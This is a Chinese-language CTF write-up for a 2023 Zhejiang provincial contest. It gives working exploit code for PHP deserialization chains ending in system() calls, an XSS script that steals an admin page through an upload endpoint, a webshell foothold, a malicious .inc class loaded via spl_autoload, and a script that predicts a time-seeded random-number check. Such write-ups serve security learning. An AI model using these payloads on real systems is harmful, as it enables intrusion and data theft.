2023浙江省省赛-初赛

决赛见

1.easy-php

签到题,很清楚的链子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php
class AAA{
public $cmd;

public function __call($name, $arguments){
eval($this->cmd);
return "done";
}
}

class BBB{
public $param1;
public function __construct($param1){
$this->param1 = $param1;
}
public function __debuginfo(){
return [
'debugInfo' => 'param1' . $this->param1
];
}
}

class CCC{
public $func;

public function __toString(){
var_dump("aaa");
$this->func->aaa();
}
}

if(isset($_GET['aaa'])){
$aaa = $_GET['aaa'];
var_dump(unserialize($aaa));
1
__debuginfo=》__toString=》__call=》eval

payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
highlight_file(__FILE__);
class AAA{
public $cmd;
}
class BBB{
public $param1;
}
class CCC{
public $func;
}
$a=new CCC();
$a->func=new AAA();
$a->func->cmd="system('cat /flag');";
$b=new BBB();
$b->param1=$a;
echo (serialize($b));
?>

2.my2to

上来给了源码

看关键的源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
const puppeteer = require("puppeteer");

const SITE = process.env.SITE || 'http://localhost';
const ADMIN_PASSWORD = process.env.ADMIN_PASSWORD || 'YOU DONT NO IT';

const visit = async url => {
var browser;
try {
browser = await puppeteer.launch({
headless: true,
executablePath: "/usr/bin/chromium",
args: ['--no-sandbox']
});
page = await browser.newPage();
await page.goto(SITE);
await page.waitForTimeout(500);
await page.type('#username', 'admin');
await page.type('#password', ADMIN_PASSWORD);
await page.click('#btn')
await page.waitForTimeout(800);
await page.goto(url);
await page.waitForTimeout(3000);
await browser.close();
} catch (e) {
console.log(e);
} finally {
if (browser) await browser.close();
}
}
module.exports = visit

这里告诉我们flag在admin的页面

题目是要xss注入,外带出admin的页面

但是比赛的时候不出网,只能用其他方法

可以看到这里有一个文件上传的内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
app.post("/api/report", express.json({ type: Object }), function (req, res) {

if (!req.session.username) return res.send("Login first!");
if(reportIpsList.has(req.ip) && reportIpsList.get(req.ip)+90 > now()){
return res.send(`Please comeback ${reportIpsList.get(req.ip)+90-now()}s later!`);
}
reportIpsList.set(req.ip,now());
const { url } = req.body;
if (typeof url !== 'string') return res.send("Invalid URL");

if (!url || !RegExp('^http://127\.0\.0\.1.*$').test(url)) {
return res.status(400).send('Invalid URL');
}
try {
vist(url);
return res.send("admin has visted your url");
} catch {
return res.send("some error!");
}
});

这里告诉可以利用文件上传的接口去上传admin

偷一个exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<script>
if(document.domain != "localhost") {
location = "http://localhost/uploads/attack.html";
}else{
fetch("/todo", {method: "GET", credentials: "include"})
.then(res => res.text())
.then(data => {
var blob = new Blob([data], { type: 'text/plain' });
var formData = new FormData();
formData.append('file', blob, 'result.txt');
fetch('/api/upload', {
method: 'POST',
body: formData,
});});
}
</script>

这里可以外带到upload上面,可以读取flag

3.Can you read flag

上来提供了一个//eval($_GET[a])

直接system(“ls /“)起手,发现了存在waf

测试了以下,用passthru(“ls /“),成功rce,读一下flag,没有权限,

?a=eval($_POST[1]);这里就直接用1作为密码链接蚁剑,连上

看到有一个/readflag,下载下来,拖入ida分析

blb1

这里可以看到使用了time0作为种子去生成随机数,可以预测

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwnlib.tubes.process import process
import re

io = process("/readflag")

io.sendlineafter('(y/n)', b'y')
io.recvuntil(b'calcs:\n')

for i in range(200):
try:
data = io.recvline().decode()
if '?' in data:
data = re.sub(r'=', '.', data)
data = re.sub(r'\?', ')', data)
ans = eval(data)
io.sendline(str(ans).encode())
else:
print(data)
break
except:
print(data)
break

io.interactive()

编译,上传到tmp目录下,执行就好了

看到杭电的wp是这样的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

int main(){
unsigned int v3 = time(0)+10;
unsigned int v9;
unsigned int v10;
srand(v3);
int v11 = rand() % 101 + 100;
printf("y\n");
for (int i = 0; i < v11; ++i){
v10 = rand() % 1000000;
v9 = rand() % 9000000;
printf("%d\n", v10+v9);
}
}

生成10秒之后的随机数,然后重定向到readflag内

就可以得到flag

去年决赛考过一道类似的,这里就不说了

4.baby php

题目提供了一个文件上传接口

提示只有管理员才可以使用

抓包,修改cookie的admin变成1然后发包

直接fuzz,发现常规的手段都被过滤掉了,没有办法

.user.ini,ph,.htaccess后缀都杯过滤了,没有啥想法

扫一下目录,看到phpinfo.php

开启了spl_autoload

spl_autoload

php中spl_autoload详解_php技巧_脚本之家 (jb51.net)

假设我们有这样一个页面

1
2
3
4
5
6
7
8
9
<?php
spl_autoload_register(function($class) {
$classFile = __DIR__ . '/' . $class . '.inc';
if (file_exists($classFile)) {
require $classFile;
}
});


在这里spl_autoload_register这个函数会将目录下面的所有php或者inc文件里面的类注册成一个可执行的类

我们只需要上传一个inc文件,然后反序列化调用这个类就好了

由于没有环境,以下都是我根据比赛时候的感觉写的(见谅)

反序列化的点在cookie,这里最开始的cookie是这样的

1
2
Tzo0OiJ1c2VyIjoyOntzOjQ6Im5hbWUiO047czo4OiJpc19hZG1pbiI7Tjt9
base64解码//O:4:"user":2:{s:4:"name";N;s:8:"is_admin";N;}

后台对cookie的处理是这样的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
class user {
public $name;
public $is_admin;

public function __construct() {
$name="guess";
$is_admin=false;
}
public function __destruct() {
if($this->name=="admin"& $this->is_admin==true)
{
echo "win";
}else{
echo "false";
}
}
}?>

这样就能完成一次简单的鉴权

如果我们上传了一个恶意的inc,然后加载那个类,通过对cookie的修改,就可以完成rce

bad.inc

1
2
3
4
5
6
7
8
<?php
class bad {
public $a;
public function __destruct(){
system($this->a);
}
}
?>

实例文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php
error_log(0);
// highlight_file(__FILE__);
// spl_autoload("./");
// include("./");
highlight_file(__FILE__);
spl_autoload_register(function($class) {
$classFile = __DIR__ . '/' . $class . '.inc';
if (file_exists($classFile)) {
require $classFile;
}
});

class user {
public $name;
public $is_admin;

public function __construct() {
$name="guess";
$is_admin=false;
}
public function __destruct() {
if($this->name=="admin"& $this->is_admin==true)
{
echo "win";
}else{
echo "false";
}
}
}
$a=$_POST['a'];
unserialize($a);
?>

成功rce

blb1

5.sedobj

java学的不好,不会,会了来复现